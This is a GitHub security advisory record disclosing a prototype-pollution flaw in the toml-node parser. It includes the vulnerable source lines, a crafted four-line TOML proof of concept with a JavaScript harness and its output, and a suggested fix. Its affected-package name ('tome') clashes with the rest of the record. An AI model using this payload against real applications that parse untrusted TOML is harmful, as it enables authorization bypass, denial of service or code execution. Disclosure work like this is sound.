{"schema_version":"1.9.0","id":"GHSA-h895-cgqg-jf52","published":"2026-10-22T16:39:55Z","modified":"2026-10-22T16:45:03.731113123Z","aliases":["CVE-2026-114142"],"summary":"toml-node: Prototype pollution: parsing a TOML document can write to Object.prototype","details":"### Summary\nCVE-2026-63376 described prototype pollution through __proto__ key-path desynchronization and was fixed in 4.1.2 by rewriting the path bookkeeping and adding an ownedContainers WeakSet. The desynchronization is still reachable, spelled with a quote character instead of a dot, and the owned-container check is not applied on the path that matters.\n\nA four-line TOML document parsed with toml.parse() writes a property onto Object.prototype, where it is visible to every object in the process — including objects produced by unrelated libraries.\n\n### Details\nThree gaps compose. All line numbers are `lib/compiler.js` in 5.0.0.\n\n**1. The path-key encoding is ambiguous.** `quoteDottedString()` quotes a segment only when it contains a `.`, and never escapes a `\"` inside the segment:\n\n```js\n287:  function quoteDottedString(str) {\n288:    if (str.indexOf(\".\") > -1) {\n289:      return \"\\\"\" + str + \"\\\"\";\n290:    } else {\n291:      return str;\n292:    }\n293:  }\n```\n\nSo the key path `['x.y']` and the key path `['\"x', 'y\"']` both render as the string `\"x.y\"`. This is the same desynchronization CVE-2026-63376 named, with a quote in place of the dot.\n\n**2. A table-array header can clear another key's guard.** `addTableArray()` walks `assignedPaths` / `valueAssignments` with `isSameOrSubPath()` over those ambiguous strings, so a header whose rendered path collides with an unrelated key deletes that key's entry.\n\n**3. The descent in `assign()` has no owned-container check.** `deepRef()` applies `isOwnedContainer()` only to intermediate segments (`lib/compiler.js:265`, `:273`) and returns the final container unchecked. `assign()` then walks it with only a shape test:\n\n```js\n 93:      target = target[k];\n...\n103:    target[lastKey] = reduced;\n```\n\nA TOML datetime is a `Date`. It satisfies `typeof target[k] === \"object\"` and is not an array, so the walk descends into it — and a `Date` has a live prototype chain to `Object.prototype`.\n\nPutting the three together, a document can make the current table a `Date` and then walk `__proto__.__proto__` to `Object.prototype`.\n\n```bash\nmkdir poc && cd poc && npm init -y >/dev/null && npm install toml@5.0.0\n```\n\n```toml\n# poc.toml\n\"b.c\" = 1979-05-27T07:32:00Z\n[['\"b']]\n[\"b.c\"]\n__proto__.__proto__.polluted = \"yes\"\n```\n\nLine 1 defines a key whose rendered path is `\"b.c\"` and whose value is a `Date`.\nLine 2 is a table-array header whose rendered path collides with it, clearing its guard.\nLine 3 re-enters that key, so the current table is now the `Date`.\nLine 4 walks `Date` → `Date.prototype` → `Object.prototype`.\n\n```js\n// poc.js\nconst toml = require('toml');\nconst fs = require('fs');\n\nconsole.log('before:', JSON.stringify(({}).polluted));\ntoml.parse(fs.readFileSync('poc.toml', 'utf8'));\nconsole.log('after: ', JSON.stringify(({}).polluted));\nconsole.log('Object.prototype.hasOwnProperty(\"polluted\") =', Object.prototype.hasOwnProperty('polluted'));\nconsole.log('JSON.parse(\"{}\").polluted =', JSON.stringify(JSON.parse('{}').polluted));\n```\n\n```\n$ node poc.js\nbefore: undefined\nafter:  \"yes\"\nObject.prototype.hasOwnProperty(\"polluted\") = true\nJSON.parse(\"{}\").polluted = \"yes\"\n```\n\nThe payload sets a single harmless marker property. The last line shows the property is visible on an object this code never touched.\n\nA useful control: the same document without line 2 (the guard-clearing header) is correctly rejected on 4.1.2 and later, which confirms the clearing step is what is load-bearing.\n\n### Impact\n\nAny application that parses a TOML document from an untrusted source is affected — a configuration file uploaded by a user, a manifest from a third-party package or repository, a document posted to an API. Prototype pollution of this kind commonly escalates to authentication or authorization bypass, denial of service, and in applications with a suitable gadget, remote code execution, because every object in the process inherits the injected property.\n\nSuggested fix: in `assign()`, apply the same check the intermediate descent already uses — after `target = target[k]`, reject when `!isOwnedContainer(target)`. Equivalently, apply `isOwnedContainer` to the value `deepRef()` returns. Separately, `quoteDottedString()` should escape `\"` inside a segment so that distinct key paths cannot render to the same string.","affected":[{"package":{"name":"tome","ecosystem":"npm","purl":"pkg:npm/tome"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"5.0.1"}]}],"database_specific":{"last_known_affected_version_range":"<= 5.0.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-h895-cgqg-jf52/GHSA-h895-cgqg-jf52.json"}}],"references":[{"type":"WEB","url":"https://github.com/BinaryMuse/toml-node/security/advisories/GHSA-h895-cgqg-jf52"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114142"},{"type":"WEB","url":"https://github.com/BinaryMuse/toml-node/commit/609c873fffea0a27ebe5b4dd098eed2b3daf3606"},{"type":"PACKAGE","url":"https://github.com/BinaryMuse/toml-node"},{"type":"WEB","url":"https://github.com/BinaryMuse/toml-node/releases/tag/v5.0.1"}],"database_specific":{"cwe_ids":["CWE-1321"],"github_reviewed":true,"github_reviewed_at":"2026-10-22T16:39:55Z","nvd_published_at":"2026-10-21T21:17:56Z","severity":"HIGH"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"}]}